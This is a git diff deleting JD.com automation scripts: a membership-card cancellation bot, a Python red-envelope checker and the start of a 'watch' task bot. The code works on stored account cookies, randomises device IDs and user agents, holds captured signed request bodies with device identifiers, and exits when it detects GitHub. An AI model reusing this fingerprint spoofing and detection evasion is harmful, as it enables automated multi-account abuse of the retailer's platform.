$.msg('【京东账号一】注销京东会员卡失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - } - await requireConfig() - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.unsubscribeCount = 0 - $.cardList = [] - await TotalBean(); - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdUnbind(); - await showMsg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdUnbind() { - await getCards() - await unsubscribeCards() -} -async function unsubscribeCards() { - let count = 0 - for (let item of $.cardList) { - if (count === cardPageSize * 1){ - console.log(`已达到设定数量:${cardPageSize * 1}`) - break - } - if (stopCards && (item.brandName && stopCards.includes(item.brandName))) { - console.log(`匹配到了您设定的会员卡【${item.brandName}】不再进行取消关注会员卡`) - continue; - } - console.log(`去注销会员卡【${item.brandName}】`) - let res = await unsubscribeCard(item.brandId); - if (res['success']) { - if (res['busiCode'] === '200') { - count++; - $.unsubscribeCount ++ - } - } - await $.wait(1000) - } -} -function showMsg() { - if (!jdNotify || jdNotify === 'false') { - $.msg($.name, ``, `【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); - } else { - $.log(`\n【京东账号${$.index}】${$.nickName}\n【已注销会员卡】${$.unsubscribeCount}个\n【还剩会员卡】${$.cardsTotalNum-$.unsubscribeCount}个\n`); - } -} -function getCards() { - return new Promise((resolve) => { - const option = { - url: `${JD_API_HOST}client.action?functionId=getWalletReceivedCardList`, - body: 'body=%7B%22version%22%3A1580659200%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&rfs=0000&scope=01&sign=aa00f715800e252fcebcb11573f4a505&st=1608612985755&sv=102', - headers: { - "Host": "api.m.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - "Cookie": cookie, - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br" - }, - } - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - $.cardsTotalNum = data.result.cardList ? data.result.cardList.length : 0; - $.cardList = data.result.cardList || [] - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }) -} -function unsubscribeCard(vendorId) { - return new Promise(resolve => { - const option = { - url: `${JD_API_HOST}unBindCard?appid=jd_shop_member&functionId=unBindCard&body=%7B%22venderId%22:%22${vendorId}%22%7D&clientVersion=1.0.0&client=wh5`, - headers: { - "Host": "api.m.jd.com", - "Accept": "*/*", - "Connection": "keep-alive", - 'origin': 'https://shopmember.m.jd.com', - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - 'Referer': `https://shopmember.m.jd.com/member/memberCloseAccount?venderId=${vendorId}`, - 'Cookie': cookie, - "Accept-Language": "zh-cn", - "Accept-Encoding": "gzip, deflate, br" - }, - } - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data) - console.log(data.message) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }) -} -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function requireConfig() { - return new Promise(resolve => { - $.UN_BIND_NUM = $.isNode() ? (process.env.UN_BIND_CARD_NUM ? process.env.UN_BIND_CARD_NUM : cardPageSize) : ($.getdata('UN_BIND_CARD_NUM') ? $.getdata('UN_BIND_CARD_NUM') : cardPageSize); - $.UN_BIND_STOP_CARD = $.isNode() ? (process.env.UN_BIND_STOP_CARD ? process.env.UN_BIND_STOP_CARD : stopCards) : ($.getdata('UN_BIND_STOP_CARD') ? $.getdata('UN_BIND_STOP_CARD') : stopCards); - if ($.UN_BIND_STOP_CARD) { - if ($.UN_BIND_STOP_CARD.indexOf('&') > -1) { - $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('&'); - } else if ($.UN_BIND_STOP_CARD.indexOf('@') > -1) { - $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('@'); - } else if ($.UN_BIND_STOP_CARD.indexOf('\n') > -1) { - $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\n'); - } else if ($.UN_BIND_STOP_CARD.indexOf('\\n') > -1) { - $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split('\\n'); - } else { - $.UN_BIND_STOP_CARD = $.UN_BIND_STOP_CARD.split(); - } - } - cardPageSize = $.UN_BIND_NUM; - stopCards = $.UN_BIND_STOP_CARD; - resolve() - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -function safeGet(data) { - try { - if (typeof JSON.parse(data) == "object") { - return true; - } - } catch (e) { - console.log(e); - console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); - return false; - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_userAwardExpandinfo.py b/activity/jd_userAwardExpandinfo.py deleted file mode 100644 index f55775d..0000000 --- a/activity/jd_userAwardExpandinfo.py +++ /dev/null @@ -1,137 +0,0 @@ -# -*- coding:utf-8 -*- - -#Source: https://github.com/Hyper-Beast - -""" -cron: 10 20 * * * -new Env('京东膨胀红包通知'); -""" - -import requests -import json -import time -import os -import re -import sys -import random -import string -import urllib - - -#以下部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script - - -def randomuserAgent(): - global uuid,addressid,iosVer,iosV,clientVersion,iPhone,area,ADID - uuid=''.join(random.sample(['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','0','1','2','3','4','5','6','7','8','9','a','b','c','z'], 40)) - addressid = ''.join(random.sample('1234567898647', 10)) - iosVer = ''.join(random.sample(["15.1.1","14.5.1", "14.4", "14.3", "14.2", "14.1", "14.0.1"], 1)) - iosV = iosVer.replace('.', '_') - clientVersion=''.join(random.sample(["10.3.0", "10.2.7", "10.2.4"], 1)) - iPhone = ''.join(random.sample(["8", "9", "10", "11", "12", "13"], 1)) - area=''.join(random.sample('0123456789', 2)) + '_' + ''.join(random.sample('0123456789', 4)) + '_' + ''.join(random.sample('0123456789', 5)) + '_' + ''.join(random.sample('0123456789', 4)) - ADID = ''.join(random.sample('0987654321ABCDEF', 8)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 4)) + '-' + ''.join(random.sample('0987654321ABCDEF', 12)) - UserAgent='' - if not UserAgent: - return f'jdapp;iPhone;10.0.4;{iosVer};{uuid};network/wifi;ADID/{ADID};model/iPhone{iPhone},1;addressid/{addressid};appBuild/167707;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS {iosV} like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/null;supportJDSHWK/1' - else: - return UserAgent - -#以上部分参考Curtin的脚本:https://github.com/curtinlv/JD-Script - -def printf(text): - print(text) - sys.stdout.flush() - - -def load_send(): - global send - cur_path = os.path.abspath(os.path.dirname(__file__)) - sys.path.append(cur_path) - if os.path.exists(cur_path + "/sendNotify.py"): - try: - from sendNotify import send - except: - send=False - print("加载通知服务失败~") - else: - send=False - print("加载通知服务失败~") -load_send() - - -def get_remarkinfo(): - url='http://127.0.0.1:5600/api/envs' - try: - with open(os.getcwd().replace('scripts','config')+'/auth.json', 'r') as f: - token=json.loads(f.read())['token'] - headers={ - 'Accept':'application/json', - 'authorization':'Bearer '+token, - } - response=requests.get(url=url,headers=headers) - - for i in range(len(json.loads(response.text)['data'])): - if json.loads(response.text)['data'][i]['name']=='JD_COOKIE': - try: - if json.loads(response.text)['data'][i]['remarks'].find('@@')==-1: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].replace('remark=','').replace(';','') - else: - remarkinfos[json.loads(response.text)['data'][i]['value'].split(';')[1].replace('pt_pin=','')]=json.loads(response.text)['data'][i]['remarks'].split("@@")[0].replace('remark=','').replace(';','') - except: - pass - except: - printf('读取auth.json文件出错,跳过获取备注\n') - -def getinfo(ck): - global sendnotifycation - global userAwardExpand - sendnotifycation=False - userAwardExpand=0 - url='https://api.m.jd.com/client.action?functionId=tigernian_pk_getAmountForecast' - headers={ - 'content-type':'application/x-www-form-urlencoded', - 'accept':'application/json, text/plain, */*', - 'accept-language':'zh-cn', - 'accept-encoding':'gzip, deflate, br', - 'origin':'https://wbbny.m.jd.com', - 'user-agent':UserAgent, - 'referer':'https://wbbny.m.jd.com/', - 'content-length':'80', - 'request-from':'native', - 'cookie':ck - } - data='functionId=tigernian_pk_getAmountForecast&body={}&client=wh5&clientVersion=1.0.0' - response=requests.post(url=url,headers=headers,data=data) - try: - printf('可膨胀金额:'+json.loads(response.text)['data']['result']['userAwardExpand']+'\n\n') - if(float(json.loads(response.text)['data']['result']['userAwardExpand'])>=10): - sendnotifycation=True - userAwardExpand=float(json.loads(response.text)['data']['result']['userAwardExpand']) - except: - printf('获取失败,黑号或者没有参加5人以上的队伍\n\n') -if __name__ == '__main__': - remarkinfos={} - get_remarkinfo()#获取备注 - try: - cks = os.environ["JD_COOKIE"].split("&")#获取cookie - except: - f = open("/jd/config/config.sh", "r", encoding='utf-8') - cks = re.findall(r'Cookie[0-9]*="(pt_key=.*?;pt_pin=.*?;)"', f.read()) - f.close() - for ck in cks: - UserAgent=randomuserAgent() - ptpin = re.findall(r"pt_pin=(.*?);", ck)[0] - try: - if remarkinfos[ptpin]!='': - printf("--账号:" + remarkinfos[ptpin] + "--") - else: - printf("--无备注账号:" + urllib.parse.unquote(ptpin) + "--") - except: - printf("--账号:" + urllib.parse.unquote(ptpin) + "--") - getinfo(ck) - if sendnotifycation: - try: - send(remarkinfos[ptpin]+f'的膨胀红包金额为{userAwardExpand}元','1.进入京东app\n2.点击首页右下角悬浮图标(或搜索栏搜索-全民炸年兽)\n3.点击去组队赚红包右上角即可看到!') - except: - send(ptpin+f'的膨胀红包金额为{userAwardExpand}元','1.进入京东app\n2.点击首页右下角悬浮图标(或搜索栏搜索-全民炸年兽)\n3.点击去组队赚红包右上角即可看到!') \ No newline at end of file diff --git a/activity/jd_watch.js b/activity/jd_watch.js deleted file mode 100644 index 94083c9..0000000 --- a/activity/jd_watch.js +++ /dev/null @@ -1,416 +0,0 @@ -/* -发现-看一看 -活动结束时间未知 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -脚本已内置需要抓的各40个包,但还建议自行抓包使用。 -使用 Charles 抓包,使用正则表达式:functionId=disc(AcceptTask|DoTask) 过滤请求 -选中所有请求,将所有请求保存为 JSON Session File 名称为 watch.chlsj,将该文件与jd_watch.js放在相同目录中 -使用手机抓包,将functionId=discAcceptTask的请求填入acceptBody,将discDoTask的body填入doBody -云端使用:将所抓的两种包使用@符号隔开后,分别填入到WATCH_ACCEPTBODY、WATCH_DOBODY环境变量 -============Quantumultx=============== -[task_local] -#京东看一看 -10 9 * * * jd_watch.js, tag=京东看一看, enabled=true - -================Loon============== -[Script] -cron "10 9 * * *" script-path=jd_watch.js,tag=京东看一看 - -===============Surge================= -京东看一看 = type=cron,cronexp="10 9 * * *",wake-system=1,timeout=3600,script-path=jd_watch.js - -============小火箭========= -京东看一看 = type=cron,script-path=jd_watch.js, cronexpr="10 9 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东看一看'); -let acceptBody = [ - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240304968%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=6e2542bc745427327751374bafb0ae9f&st=1608135453301&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232107521%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=f1e01b42473e124f529b34d3735dd8cd&st=1608135468216&sv=112&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239958722%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=30a2d1a585cd96bf57e95aef4165243f&st=1608135483804&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22236677182%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=367aa97b9a7b3f2c655fd5fe06fcd6e8&st=1608135497273&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, - 